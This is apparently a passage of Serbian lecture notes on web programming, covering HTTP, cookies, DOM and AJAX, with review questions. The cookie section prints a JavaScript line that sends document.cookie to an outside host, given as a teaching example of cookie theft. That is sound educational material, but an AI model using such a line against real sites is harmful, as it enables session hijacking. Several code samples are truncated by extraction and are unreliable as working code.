TRACEServer odgovara na zahtev TRACE tako sto u odgovoru kao telo porukavraca primljeni zahtev. Oznaka tipa mora da bude:Content-Type: message/httpKoristi se za proveravanje u kom obliku zahtevi stizu do servera (da li nekood ucesnika u prenosu menja zahteve . . . )

OPTIONSMetodom se od servera zahteva da izvesti klijenta o raspolozivim opcijamakomunikacije.

Po HTTP 1.1 server je obavezan da implementira samo metode GET i HEAD,ali vecina savremenih servera implementira i POST, PUT i DELETE. Svi me-todi moraju biti idempotentni - visestruko ponavljanje istog zahteva menja sistem(pravi bocne efekte) na isti nacin kao jednom upucen zahtev. Metodi OPTIONS iTRACE NE SMEJU da menjaju stanje sistema.

2.2.7 Neki parametri zaglavlja

Neki uobucajeni parametri zaglavlja:

Date: Thu, 4 Oct 2012 11:25:27 GMT - vreme pravljenja poruke

Connection: Close - da li posiljalac poruke planira da drzi vezu otvorenom

Neki uobicajeni elementi zaglavlja zahteva:

User-Agent: Mozilla/5.0 [en] (WinNT; U) - informacije o pregledacu

Referer: http://www.matf.bg.ac.rs/ smalkov/index.html - odaklezahtev potice, npr. na kojoj stranici je binarna veza

Neki uobicajeni elementi zaglavlja odgovora:

Location: http://www.matf.bg.ac.rs/newPage.html

redirekcija - potrebno je otvoriti dati resurs

uvek j epracena statusnim kodom 301 ili 302

Server: Apache/2.1.5 - identifikacija verzije servera

Uobicajeni elementi zaglavlja odgovora, koji opisuju sadrzaj isporucen u okvirutela odgovora:

Content-Type: mime-type/mime-subtype - tip sadrzaja

2.2. HTTP 21

Content-Length: xxx - velicina sadrzaja

Last-Modified: Mon, 8 Oct 2012 08:10:22 GMT - poslednje vremeizmene sadrzaja

2.2.8 Statusni kodovi

HTTP 1.1 odreduje 5 statusnih kodova:

1xx

informacioni statusi ne oznacavaju ni uspeh ni gresku, samo informisu klijenta o necemu primer: kod 100 oznacava da u nastavku sledi isporuka odgovora podelovima

2xx

uspesni statusi oznacavaju uspesno ispunjavanje zahteva primeri:

kod 200 oznacava da je zahtev u potpunosti ispunjen i da je unastavku odgovor na zahtev

kod 201 je slican, potvrduje da je u skladu sa zahtevom na serverunapravljen novi resurs

3xx

redirekcioni statusi oznacavaju da je potrebna dodatna aktivnost da bi se ispunio zahtev najvazniji:

Kod 301 - resurs je trajno premesten. Trazeni resurs je sada iubuduce dostupan samo na drugoj lokaciji. Nova lokacija se navodikao parametar Location u zaglavlju odgovora. Pregledac automat-ski otvara novu lokaciju, a staru vise ne bi trebalo da upotrebljava.

Kod 302 - resurs je privremeno premesten. Trazeni resurs je tre-nutno na drugoj lokaciji. Nova lokacija se navodi kao parametarLocation u zaglavlju odgovora. Pregledac automatski otvara novulokaciju, a sledeci put bi trebalo da ponovo pokusa da otvori pret-hodnu lokaciju. Cesto se upotrebljava, posebno u slucaju metodaPOST.


4xx

greske u klijentskom zahtevu oznacavaju da je prepoznat neki problem u samom zahtevu primeri:

kod 400 oznacava neispravan zahtev

kod 401 oznacava neautorizovan zahtev

kod 404 oznacava da se zahtev odnosi na nepostojeci resurs

5xx

greske na strani servera oznacavaju da je tokom obrade zahteva doslo do greske na strani servera primer: kod 500 oznacava interne greske servera, a nastaje kada dodedo pada generatora dinamickog sadrzaja

2.2.9 Kolacici

Da bi se u protokol koji nema stanja uvela podrska za stanje, HTTP 1.1 je uveokoncept kolacica. Kolacici omogucavaju ucesnicima u komunikaciji da se dogovoreo prenosenju stanja kroz komunikaciju. Stanje postavlja i menja server. Klijentsamo pamti stanje i vraca ga serveru u neizmenjenom obliku. Server, pri slanjuodgovora, moze da postavi vise kolacica u jednom odgovoru. U zaglavlje odgovoradodaje parametar Set-Cookie (jedan kolacic u jednom redu, naravno)

Set-Cookie:

=

[; expires=]

[; path=]

[; domain=]

[; secure]

[; HttpOnly]

Najvazniji elementi kolacica su ime (name) i vrednost (value). Ostali elementiopisuju nacin upotrebe.

Parametar expires oznacava do kada bi klijent trebalo da cuva kolacic

Parametar domain i path oznacavaju na koje se domene, aplikacije i deloveaplikacija kolacic odnosi. Ako se ne navede, cuva se samo do zavrsetka tekucesesije. Klijent ne sme da salje kolacice drugim aplikacijama.

Parametar secure oznacava da se kolaciz sme prenositi samo kroz bezbedneveze (HTTPS)

2.2. HTTP 23

Parametar HttpOnly oznacava kolacic ne sme biti vidljiv klijentu (korisniku)

Primer zagljavlja sa postavljanjem jednog kolacica

HTTP/1.1 200 OK

Set-Cookie: predmet=UAR; path=/~smalkov/; domain=.matf.bg.ac.rs

...

Klijent vraca primljene kolacice serveru, pri slanju svakog zahteva. Klijent bitrebalo da vrati sve kolacice koje je primio OD TOG servera, a zadovoljavajuuslove trajanja i domena. U zaglavlje zahteva dodaje se parametar Cookie (svikolacici u jednom redu):

Cookie: = {;=}

Primer zaglavlja sa vracanjem jednog kolacica:GET / smalkov/novosti.html HTTP/1.1 Cookie: predmet=UAR...

Kolacici predstavljaju veliki bezbednosni problem. Osnovu problema predstavljamogucnost da kolacic jedne aplikacije postane dostupan drugoj aplikaciji. Drugaaplikacija moze tako da dode do vrli vaznih licnih podataka. Zbog bezbednosti semora dobro poznavati rad sa kolacicima.

Primer JavaScript koda koji salje drugoj aplikaciji kolacice i podatke o aktivnojaplikaciji:

window.location =

"http://a.b.c.d:81/haha.php?t="

+ document.links[1].text

+ "&l=" + document.links[1]

+ "&c=" + document.cookie;

Konkretan problem se prevazilazi kolacicima sa opcijom HttpOnly

2.2.9.1 Vrste kolacica

Osnovna podela je prema trajanju:

privremeni (ili sesijski) kolacici - traju koliko i sesija

trajni kolacici - trajanje je odredeno parametrima

U konekstu bezbednosti se razlikuju:

bezbedni kolacici - prenose se samo putem protokola HTTPS parametarkolacica secure


samo-HTTP kolacici (HTTPOnly) - korisnik (ni skriptovi) ne mogu da videparametar kolacica

U odnosu na to ko ih je postavio razlikuju se

kolacici prve strane (first party cookies) - oni koje je postavio server domenakoji je posecen (deo adrese posecene veb lokacije)

kolacici trece strane (third party cookies) - oni koje je postavio server nekogdrugog domena, na primer ako se deo strane ili slike uzimaju sa drugog do-mena, obicno reklame. Predtsavaljaju potencionalan bezbednosni problem.

U kontekstu bezbednosnih problema se prepoznaju i:

superkolacici - oni kojima je odreden nerazumno sirok domen, na primer sadomenom: .com

besmrtni (zombi) kolacici - kolacici koji ne mogu da se obrisu. Neki skriptovisacuvani u dodacima pregledaca ili medu lokalnim trajnim podacima moguda ih uvek iznova prate.

2.2.9.2 Namena kolacica

Tri najcesce namene

Upravljanje sesijama

osnovna namena je da se prepozna da veci broj zagteva pripada jednojvecoj aktivnosti - sesiji

za to je dovoljan jedan privremeni kolacic, koji predstavlja identifikatorsesije

svi podaci o stanju se cuvaju na strani servera, najcesce bezbedno,zavisno od sadrzaja

Personalizacija

prilagodavanje rada neke veb aplikacije zeljama korisnika

obavezno trajni kolacici (moze da ih bude veci broj, ako su svi podaci naklijentu, ili jedan, ako je samo identifikacija prilagodavanja na klijentu,a sve ostalo na serveru)

u zavisnosti od vrste podesavanja, moze da predstavlja rizik po bezbed-nost

Analiza i pracenje poseta

na osnovu kolacica se moze pratiti

2.3. PITANJA 25

da li neko posecuje lokaiciju po prvi put koliko cesto je posecuje da li postoji neki sablon u redosledu pregledavanja strana

sami po sebi ne predstavljaju bezbednosti rizik, ali golablno posma-trano predstavljaju (uporednom analizom i pracenjem posecivanja viselokaicija moze se doci i do sasvim licnih podataka)

2.2.10 HTTPS - bezbedni HTTP

Da bi komunikacija izmedu klijenta i servera bila bezbedna, neophodan je be-zbedan protokol komunikacije. HTTPS (Secure HTTP) predstavlja bezbednu ver-ziju protokola HTTP. Komunikacija je potpuno ista kao putem protokola HTTP,ali se odvija preko bezbednosnog slija (SSL - Secure Socket Layer). Zahtevi i od-govori se kodiraju pre slanja i dekodiraju po prijemu.

Bezbedan protokol nije dovoljan - neophodno je pouzdano utvrditi identitet ser-vera. Za to sluze sertifikati autenticnosti.

2.3 Pitanja

2.1 Objasniti odnos komunikacionih protokolaa TCP/IP i HTTP i OS modela.

2.2 Sta je TCP/IP? Navesti i objasniti slojeve.

2.3 Sta je HTTP? Objasniti osnovne karakteristike.

2.4 Sta znaci kada kazemo da je HTTP protokol bez stanja?

2.5 Objasniti strukturu paketa protokola HTTP.

2.6 Objasniti strukturu zahteva protokola HTTP.

2.7 Objasniti strukturu odgovora protokola HTTP.

2.8 Navesti i ukratko objasniti metode protokola HTTP.

2.9 Navesti najvaznije parametre zaglavlja paketa protokola HTTP.

2.10 Objasniti statusne kodove protokola HTTP.

2.11 Sta su i cemu sluze kolacici? Ko ih i kako pravi, cuva, prenosi?

2.12 Objasniti detaljno elemente kolacica.

2.13 Objasniti detaljno odnos kolacica i bezbednosti na Vebu.

2.14 Na osnovu cega sve razlikujemo (delimo) kolacice? Koje vrste kolacica postoje?


2.15 Koje su najcesce namene kolacica? Objasniti ukratko.

2.16 Objasniti ulogu kolacica u upravljanju sesijama.

2.17 Objasniti ulogu kolacica u personalizaciji.

2.18 Objasniti ulogu kolacica u analizi i pracenju poseta.

2.19 Sta je HTTPS? Objasniti.

Glava 3

Veb

3.1 Veb server

Veb server je softver koji isporucuje sadrzaje putem protokola HTTP. Sam is-porucuje staticke sadrzaje. Koristi usluge drugih programa ili dodatnih modula zapravljenje dinamickih sadrzaja (ima ulogu posrednika izmedu klijenta i generatorasadrzaja).

Odgovornosti veb servera:

prijem zahteva

razresavanje adrese

obrada zahteva

priprema odgovora - na pripremljen sadrzaj (bilo staticki ili dinamicki) sedodaje odgovarajuce zaglavlje na osnovu podataka o sadrzaju, komunikaciji,kolacica, itd.

slanje odgovora

3.1.1 Razresavanje adrese

Prilikom razresavanja adresa obavljaju se sledeci koraci:

Prepoznavanje domena - ako jedan isti server sluzi za rad vise domena (apli-kacija, lokacija, servisa), prvi korak je da se prepozna na koji domen se odnosizahtev, tzv. Virtual Hosting.

Preslikavanje adresa - ustanovljavanje na sta se adresa odnosi. Da li je upitanju staticki ili dinamicki resurs? Koja stvarna lokacija u sistemu datotekaodgovara resursu?

Autentikacija - ako se radi o poverljivom izvoru resursa, proverava se da likorisnik ima pravo da mu pristupi.

27

28 GLAVA 3. VEB

3.1.2 Obrada zahteva

Obuhvata pripremu statickih sadrzaja i pripremu dinamickih sadrzaja.

3.1.2.1 Priprema statickih sadrzaja

Staticki sadrzaju obuhvataju: HTML stranice, XML dokumente, slike, obicanneformatiran tekst, itd. Priprema statickih sadrzaja najcesce zahteva pronalazenjesadrzaja u sistemu datoteka i citanje sadrzaja. Kasnije, u fazi pripremanje odgo-vora, dodaje se odgovarajuce zaglavlje. Moguca je isporuka vec pripremljenihstranica (ai-is pages) - sadrzaji su vec pripremljeni, zajedno sa zaglavljima (npr.lokalni kes) i faza pripremanja odgovora se preskace.

3.1.2.2 Priprema dinamickih sadrzaja

U vreme pripreme se pravi (ili menja) odgovarajuci sadrzaj. Neophodna je nekaprogramska aktivnost - programsko pravljenje ili povezivanje postojecih sadrzaja.Nosilac programske aktivnoste moze da bude sam veb server, neki dodatni pro-gram ili neki dodatni modul (prosirenje) servera.

Neki od uobicajenih nacina obrade:

Common Gateway Interface (CGI)

Server Side Include (SSI)

Java Server Pages (JSP)

Active Server Pages (ASP)

PHP

...

Savremeni veb serveri imaju modularnu arhitekturu dela za pripremu sadrzaja:dodavanjem modula se prosiruju mogucnosti servera, dodatni protokoli, dodatninacini obrade zahteva, dodatni programski jezici, itd.

3.2 Veb pregledac

Veb pregledac je softver koji omogucava korisniku da pregleda sadrzaje koji sudostupni na vebu. Osnovne odgovornosti:

slanje zahteva veb serverima

prijem odgovora od veb servera

prikazivanje sadrzaja korisniku

3.2. VEB PREGLEDAC 29

obezbedivanje interakcije sa korisnikom

omogucavanje rada dodatnim softverskim komponentama - koristi uslugeapleta, dodatnih modula i skriptova za ostvarivanje naprednih vidova inter-akcije sa korisnikom

3.2.1 Slanje zahteva veb serverima

Slanje zahteva veb serverima cine

pravljenje zahteva na osnovu

unesenog URI-ja

izabrane veze

formulara

zahteva postavljenog od strane nekog skripta ili apleta

dopunjavanje nepotpunih URI-ja (npr. relativne putanje)

provera kesa (da li se sadrzaj moze dobiti iz kesa umesto od servera)

provera autorizacije (da li je potrebno u zahtevu navesti podatke o korisniku)

odrzavanje stanja (da li je i koje kolacice je potrebno dodati zahtevu)

sam cin slanja putem implementacije protokola HTTP

3.2.2 Prijem odgovora od veb servera

Prijem odgovora od veb servera

sam cin prijema putem implementacije protokola HTTP

analiza statusa odgovora

da li je potrebno poslati podatke o autorizaciji

da li se moze odgovor kesirati

odrzavanje stanja (da li su dobijeni neki kolacici)

slanje dodatnih zahteva (da li su potrebni dodatni sadrzaji - CSS, slike, JS,itd)

30 GLAVA 3. VEB

3.2.3 Prikazivanje sadrzaja

Prikazivanje sadrzaja cine

interpretacija sadrzaja (analiza i priprema dokumenata za prikazivanje -HTML, CSS)

prikazivanje sadrzaja

sam cin prikazivanja, uz koriscenje usluga OS

upotreba posebnih modula, prema (MIME) tipu sadrzaja

priprema uslova i pokretanje apleta

obezbedivanje interakcije sa korisnikom

odgovarajuce ponasanje formulara

reagovanje na aktivnosti korisnika

izvrsavanje skriptova koji potencijalno menjaju prikaz

obrada novih zahteva

3.2.4 Trajni podaci na strani klijenta

Kes - kesiraju se stranice, slike i drugi primljeni sadrzaji. Svaki kesiranisadrzaj ima trajanje.

Kolacici - primanje i cuvanje zavisi od podesavanja pregledaca i parametarakolacica. Upotreba zavisi od trajanja i domena.

Kredencijali korisnika - uvek se cuvaju tokom sesije, uvek se brisu na krajusesije. Domen vazenja odgovara IP broju servera.

Veb skladiste (HTML5, Web Storage)

sa domenom sesije (sessionStorage)

sa domenom aplikacije (localStorage)

3.3. PITANJA 31

Da li se cuva Kljuc za pristupanje Kada se brise Nacin cuvanja

KesZavisi odzaglavljaodgovora

URI zahtevaPo istekutrajanja ili

kada je hes pun

Memorija i/ilidisk

KolaciciZavisi odpodesavanjapregledaca

Domen iputanja kolacica

Kada isteknetrajanje ili

sesija

Memorija zaprivremene idisk za trajne

kolacice

Kredencijali Uvek Adresa serverai oblast primene

Obavezno nakraju sesije

Samo memorija

Veb skladiste Uvek Nema Po istekusesije

Zavisno odpregledaca ivelicine

Veb skladiste UvekLokalnikorisnicki

nalog za OS

Ne brise se Disk

Tabela 3.1: Trajni podaci na strani klijenta

3.3 Pitanja

3.1 Sta je veb server? Cemu sluzi?

3.2 Koje su odgovornosti Veb servera?

3.3 Sta je razresavanje adrese? Objasniti detaljno.

3.4 Sta je obrada zahteva? Objasniti detaljno.

3.5 Sta je priprema dinamickih sadrzaja? Objasniti detaljno.

3.6 Sta je Veb pregledac? Koje su njegove odgovornosti?

3.7 Objasniti proces slanja zahteva Veb serverima.

3.8 Objasniti proces prijema odgovora od Veb servera.

3.9 Objasniti proces prikazivanja sadrzaja na Veb pregledacu.

3.10 Koje su vrste trajnih podataka na strani klijenta? Objasniti detaljno.

32 GLAVA 3. VEB

Glava 4

DOM - Document Object Model

Document Object Model je standardizovana reprezantacija HTML i XML do-kumenta. U prvim godinama uvodenja JavaScripta nije bio standardizovan. Danasje standardizovan i u velikoj meri usaglasen medu implementacijama. Upotrebljavase za omogucavanje programskog rukovanja objektima koji cine dokumente.

4.1 Standardi

Standarde odrzava W3C. Podeljeni su u nekoliko slojeva (verzija)

DOM Level 0 nestandardizovana inicijalna verzija

DOM Level 1 (1998)

DOM Level 2 (2000)

DOM Level 3 (2004)

DOM Level 4 (2015)

4.1.1 DOM Level 0

Verzija koju je osmislio i predstavio Netscape sa prvom verzijom JavaScript-a(Netscape 2). Usvojio ga je, ali uz brojne specificnosti i odstupanja, MS InternetExplorer 3. Od tada pocinje razlikovanje i proveravanje verzija, poput:

if( document.images ){

document.images[imgname].src = ...;

}

Cak se verzije IE za Windows i Mac znacajno razlikuju i nisu kompatibilne.Netscape 4 i IE4 su doneli nove izmene, tada su verzije pocele mnogo vise da serazlikuju.

33

34 GLAVA 4. DOM - DOCUMENT OBJECT MODEL

4.1.2 DOM Level 1 (1998)

Modul Core definise minimalan uopsteni skup objekata i interfejsa za pristupa-nje objektima dokumenata i rukovanje njima. Modul HTML prosiruje jezgro spe-cificnostima HTML-a. Standard definise mnogo toga, ali se u 99% slucajeva koristisamo 10% standarda, to omogucava relativno lako ucenje.

4.1.3 DOM Level 2 (2000)

Prosiruje prethodnu verziju vecin brojem modula i unapreduje module Core iHTML.

Novi moduli: XML, Views, StyleSheets, CSS, CSS2, Events, UI Events, Mou-seEvents, MutationEvents, HTMLEvents, Range, Traversal

4.1.4 DOM level 3 (2004)

Karakterise ga dalje prosirivanje modula. Modul HTML nije znacajno menjan.Modul XML je unapreden. Dovrsava preslikavanja HTML-a u XML model.

Novi moduli: TextEvents, KeyboardEvents, MutationNameEvents, LS (Load &Save), LS-Async, Validation, Xpath

Slika 4.1: Moduli DOM-a

4.2. OSNOVA MODELA 35

4.2 Osnova modela

Osnovu modela cine cvorovi. DOM predstavlja hijerarhiju cvorova. Svaki cvorimplementira makar interfejs Node, a opciono i druge, specijalizovane interfejse.Neki cvorovi imaju potomke razlicitih tipova. Ostali cvorovi su listovi i nemajudruge cvorove kao komponente.

4.2.1 Najvazniji cvorovi i njihovi potomci

Document: predstavlja ceo HTML ili XML dokument (koren drveta).Potomci: Element (najvise jedan), ProcessingInstruction, Comment, Document-Type (najvise jedan).

DocumentFragment: laki ili minimalni Document osloboden nekih suvisnihelemenata implementacije celog dokumenta.Potomci: Element, ProcessingInstruction, Comment, Text, CDATASection

DocumentType: predstavlja interfejs prema listi entiteta definisanih u doku-mentu. Nema potomaka.

EntityReference: predstavlja referencu na neki entitet u dokumentu.Potomci: Element, ProcessingInstruction, Comment, Text, CDATASection, Enti-tyReference

Element: interfejs prema elementima kolekcija.Potomci: Element, Text, Comment, ProcessingInstruction, CDATASection, Enti-tyReference

Attr: predstavlja interfejst prema jednom atributu cvora Element.Potomci: Text, EntityReference

ProcessingInstruction: predstavlja instrukcije za obradu XML-a. Strukturanije definisana modelom. Nema potomaka.

Comment: tekstualni sadrzaj komentara u HTML i XML dokumentu. Nemapotomaka.

Text: tekstualni sadrzaj elementa (Element) ili atributa elementa (Attr). Nemapotomaka.

CDATASection: tekstualni sadrzaj koji moze da sadrzi znakove koji bi inacepredstavljali oznake HTML-a i XML-a. Nema potomaka.

Entity: predstavlja jedan entitet XML dokumenta


Potomci: Element, ProcessingInstruction, Comment, Text, CDATASection, Enti-tyReference

Notation: predstavlja belesku deklarisanu u opisu tipa dokumenta. Nema po-tomaka.

4.2.2 Osnovni tipovi

DOMString: niska Unicode karaktera, sacuvanih u obliku niza 16-bitnih zapisaelemenata.

DOMTimeStamp: vreme kao broj milisekundi od nekog trenutka.

DOMUserData: referenca na aplikativne podatke.

DOMObject: referenca na neki objekat.

4.2.3 Interfejsi

Node: osnovni interfejs cvorova DOM-a.

NodeList: apstrakcija uredene kolekcije cvorova.

NamedNodeMap: kolekcija imenovanih cvorova.

Attr: jedan atribut cvora Element.

Element: jedan element HTML-a ili XML-a

CharacterData: interfejs cvora koji predstavlja tekstualni sadrzaj.

Text: nasleduje CharacterData. Predstavlja tekstualni sadrzaj elementa ili atri-buta.

I jos neki: DOMException, DOMStringList, NameList, DOMImplementationList,DOMImplementationSource, DOMImplementation, Comment, TypeInfo, UserDa-taHandler, DOMError, DOMErrorHandler, DOMLocator, DOMConiguration.

interface NamedNodeMap {

Node getNamedItem(in DOMString name);

Node setNamedItem(in Node arg)

raises(DOMException);

Node removeNamedItem(in DOMString name)


4.3. OSNOVNI ELEMENTI INTERFEJSA NODE 37

Node item(in unsigned long index);

readonly attribute unsigned long length;

// Introduced in DOM Level 2:

Node getNamedItemNS(in DOMString namespaceURI,

in DOMString localName)


Node setNamedItemNS(in Node arg)


Node removeNamedItemNS(in DOMString namespaceURI,

in DOMString localName)


};

4.3 Osnovni elementi interfejsa Node

nodeType: unsigned short

kod tipa cvora:

1 - cvor Element

2 - cvor Attribute

3 - cvor Text

6 - cvor Entity

8 - cvor Comment

9 - cvor Document

nodeName: DOMString - naziv cvora, zavisi od njegovog tipa

nodeValue: DOMString - vrednost cvora, zavisi od tipa

attributes : NamedNodeMap - kolekcija atributa cvorova. Vazni elementi sulength i item(i) (moze da se upotrebljava i u obliku ...[ i ]).

childNodes : NodeList - niz potomaka tj. sadrzanih elemenata

parentNode : Node - roditeljski cvor.

x.childNodes[i].parentNode == x

previousSibling : Node - prethodni cvor u kolekciji

x.childNodes[i+1].previousSibling == x.childNodes[i]


nextSibling : Node - naredni cvor u kolekciji

x.childNodes[i+].nextSibling == x.childNodes[i+1]

firstSibling : Node - prvi element niza potomaka

x.childNodes[0] == x.firstChild

lastSibling : Node - poslednji element niza potomaka

x.childNodes[x.childNodes.length-1] == x.lastChild

Slika 4.2: Ilustracija organizacije cvorova

Primer koda koji prolazi kroz DOM:

traverse = function( node ){

if( node==null ) return null;

var result = "";

if( node.nodeType==3 ){

if( node.nodeValue != null && node.nodeValue.trim() != )

result = result + " + node.nodeValue + ";

} else{

if( node.nodeName != null )

result = result + node.nodeName;

result = result + [;

if( node.attributes != null )

for( var i=0; i

4.4. VAZNI METODI 39

if( node.childNodes != null )

for( var i=0; i


4.4.1 Citanje i parisranje XML dokumenata

if (window.DOMParser){

parser = new DOMParser();

xmlDoc = parser.parseFromString(text,"text/xml");

}

else{

// Internet Explorer

xmlDoc = new ActiveXObject("Microsoft.XMLDOM");

xmlDoc.async = false;

xmlDoc.loadXML(text);

}

Objekat xmlDoc predstavlja cvor tipa Document.

4.5 Pitanja

4.1 Sta je DOM? Objasniti osnovne koncepte i elemente.

4.2 Ko odrzava standard DOM-a? Navesti standarde DOM-a.

4.3 Navesti i objasniti najvaznije cvorove dokumenta u DOM-u.

4.4 Navesti i objasniti najvaznije elemente interfejsa Node (bez elemenata za na-vigaciju).

4.5 Navesti i objasniti elemente interfejsa Node koji sluze za navigaciju kroz stuk-turu dokumenta.

4.6 Objasniti spcificne elemente interfejsa za cvorome HTML dokumenta.

4.7 Kako se parsiraju XML dokumenti.

Glava 5

AJAX - Asynchronous JavaScriptand XML

Koncept asinhronog razmenjivanja podataka sa serverom. Omogucava menja-nje sadrzaja i izgleda veb stranice bez ucitavanja potpuno nove stranice. AJAXje omogucio pravljenje bogatog korisnickog interfejsa na vebu. Nosilac interak-tivnosti umesto sesije postaje stranica. Programiranje interaktivnosti sa seervdraprenosi se na klijente.

JavaScript i dogadaji:

function promeniTekst(){

document.getElementById(mojDiv).innerHTML

=

Promenjeno...

;

}

Tekst koji cemo promeniti

Promeni tekst

41

42 GLAVA 5. AJAX - ASYNCHRONOUS JAVASCRIPT AND XML

Osnovna razlika u odnosu na obican JavaScript je u tome sto sadrzaj koji se dodajeili menja ne mora da se unapred ucitava kao deo stranice, vec se prema potrebinaknadno ucitava sa servera. Sadrzaj koji se dodaje ili menja ne mora da se una-pred ucitava kao deo stranice, vec se prema potrebi naknadno ucitava sa servera.

Pravljenje AJAX objekata zavisi od verzije pregledaca. Po standardu JS, noviobjekat pravi se na sledeci nacin:

httpReq = new XMLHttpRequest();

Medutim, prema staroji verziji IE, to se postize na sledeci nacin:

httpReq = new ActiveXObject("Microsoft.XMLHTTP");

Evo jednog primera koji radi u skladu sa verzijom:

var httpReq;

if( window.XMLHttpRequest )

httpReq = new XMLHttpRequest();

else

httpReq = new ActiveXObject("Microsoft.XMLHTTP");

5.1 Slanje zahteva

Za slanje zahteva se koriste metodi open() i send().

Metod open ima sledeci potpis:

open(method,uri,async,user,password)

On odreduje parametre zahteva, ali ne vrsi njegovo slanje. Svi parametri su opcioni- method predstavlja metod prenosa zahteva i moze biti GET ili POST, uri je iden-tifikacija resursa, async odreduje da li je prenos asinhron(true) ili sinhron(false),user predstavlja korisnicko ime, a password njegovu lozinku.

Metod send ima sledeci potpis:

send([string])

On upucuje zahtev, a njegov jedini parametar, string, predstavlja telo zahtevai koristi se samo u slucaju metoda POST.

5.1.1 Dodatni parametri zahteva

timeout - odreduje maksimalno trajanje cekanja na odgovor

withCredentials - ime i lozinka se ukljucuju u zahtev

upload - pomocni objekat za pracenje toka slanja velikih zahteva

abort() - obustavlja sve operacije po zahtevu

5.2. OBRADA ODGOVORA 43

5.1.2 Dogadaji objekata zahteva

Postoje dva tipa dogadaja objekata zahteva - Event i EventProgress. Event jeuobicajeni JS dogadaj, dok je EventProgress prosirenje uobicajenog, ima dodatneatribute (readonly attribute boolean lengthComputable; readonly attribute un-signed long long loaded; readonly attribute unsigned long long total;).

Dogadaj readystatechange : Event ukazuje da je doslo do promene atributa, lo-adstart : ProgressEvent da je zapocelo slanje zahteva, progress : ProgressEventnastaje cesto tokom slanja i primanja odgovora. Zatim, abort : ProgressEventznaci da je obrada zahteva prekinuta (npr. pozivom metoda abort()), error : Pro-gressEvent znaci da nije uspela obrada zahteva, load : ProgressEvent ukazuje daje zahtev uspesno ispunjen. Dalje, timeout : ProgressEvent znaci da je isteklovreme za zahtev i zahtev jos nije ispunjen, a loadend : ProgressEvent da je obradazavrsena, bilo uspesno ili neuspesno.

Preporucuje se upotreba jednostavnijeg i brzeg metoda GET kad god je to moguce.Metod POST se koristi u slucaju prenosa vece kolicine podataka, kada zelimo dasprecimo kesiranje rezultata, kada se radi o prosledivanju sadrzaja formulara. Akose radi o formularima ili slanju sadrzaja, moze se postavljati zaglavlje zahteva

setRequestHeader(name,value)

Primer:

httpReq.open("POST","ajaxData.php",true);

httpReq.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

httpReq.send("ime=Paja&prezime=Patak");

5.2 Obrada odgovora

Odgovor se dobija po uspesnom ispunjavanju zahteva kao atribut objekta za-hteva: httpReq.status (kod statusa), httpReq.responseText (odgovor u tekstual-nom obliku), httpReq.responseXML (odgovor u obliku strukturiranog XML doku-menta, u skladu sa DOM).

5.2.1 Parametri i metodi rezultata

status - vraca celobrojni kod rezultata obrade zahteva

statusText - vraca tekstualni opis rezultata obrada zahteva

getResponseHeader(name) - vraca vrednost elementa zaglavlja odgovora

getAllResponseHeaders() - vraca sve elemente zaglavlja


overrideMimeType(mimeType) - postavlja MIME tip u zaglavlju odgovora,bez obzira na postiglu vrednost

responseType - vraca tip rezultata, moze da bude prazna niska (podrazume-vani), arraybuffer, blob, document, json, i text

response

ako je tip text (ili podrazumevan), vraca se telo rezultata kao tekst

ako je tip arraybuffer, vraca telo rezultata kao arraybuffer

ako je tip blob, vraca telo rezultata kao blob

ako je tip document, vraca telo rezultata kao document

ako je tip json, vraca telo kao json

responseText - vraca telo rezultata kao tekst

responseXML - vraca telo rezultata kao XML DOM objekat

U slucaju asinhronog prenosa atributi su httpReq.readyState (stanje zahteva; 0 -zahtev nije inicijalizovan, 1 - uspostavljena veza sa serverom, 2 - primljen zahtev,3 - zahtev se obraduje, 4 - zahtev je obraden i odgovor je spreman za upotrebu) ihttpReq.onreadystatechage (funkcija za obradu dogadaja promene stanja zahteva).

5.3 Sinhrono ili asinhrono

U slucaju sinhrong rada metod send() ceka odgovor, a u slucaju asinhronognema cekanja. Trajanje svakog poziva obuhvata vreme prenosa poruke prema ser-veru, obrade zahteva na serveru, prenosa odgovora do klijenta. Veci broj sinhonihzahteva moze imati za posledicu velike zastoje zbog serijskog izvrsavanja. Po pra-vilu se radi asinhrono. Tako se omogucava slanje veceg broja zahteva i paralelnaobrada odgovora. Sinhroni rad je prihvatljiv pri inicijalnom popunjavanju sadrzajastranice, ako se radi o manjim dokumentima i ako je u pitanju samo jedan sinhronizahtev.

Primer sinhronog rada


var httpReq = new XMLHttpRequest();

httpReq.open("GET","/js2_part.html",false);

httpReq.send();

// metod send() je sa\v cekao odgovor

// pa sad mo\v zemo da ga obradimo

document.getElementById(mojDiv)

.innerHTML = httpReq.responseText;

}

5.3. SINHRONO ILI ASINHRONO 45

Primer asinhronog rada:



httpReq.open("GET","/js3_part.html",true);

// metod send() ne \v ceka odgovor

// pa moramo da postavimo rukovodilac doga\dj aja

httpReq.onreadystatechange = function(){

if( httpReq.readyState==4 && httpReq.status==200 )


.innerHTML = this.responseText;

};

httpReq.send();

}

Malo uopstenije:

function asyncHttp(uri,onok){


httpReq.open("GET",uri,true);

httpReq.onreadystatechange = function(){

if( httpReq.readyState==4

&& httpReq.status==200

&& onok)

onok(httpReq);

};

httpReq.send();

}


asyncHttp("/js3_part.html",function(httpReq){


.innerHTML = httpReq.responseText;

});

}

Moze i ovako:

function asyncHttp(uri,onLoad){


httpReq.open("GET",uri,true);

httpReq.onload = function(){ onLoad(this); };

httpReq.send();

}


5.4 Pitanja

5.1 Sta je AJAX? Cemu sluzi?

5.2 Kako se prave AJAX objekti?

5.3 Objasniti metode za slanje AJAX zahteva.

5.4 Objasniti dodatne parametre AJAX zahteva.

5.5 Navesti i objasniti dogadaje AJAX zahteva.

5.6 Objasniti obradu odgovora AJAX zahteva.

5.7 Objasniti parametre i metode rezultata AJAX zahteva.

5.8 Objasniti razliku izmedu sinhronih i asinhronih zahteva. Kada se koji koristi?

5.9 Navesti primer sinhorne upotrebe AJAX zahteva.

5.10 Navesti primer asinhorne upotrebe AJAX zahteva.

Glava 6

Razvoj veb aplikacija

6.1 Problemi

Karakteristike problema razvoja veb aplikacije se prepoznaju iz razlicitih uglova(aplikacije, sesije, stranice i ucesnika u razvoju).

6.1.1 Karakteristike problema iz ugla aplikacije

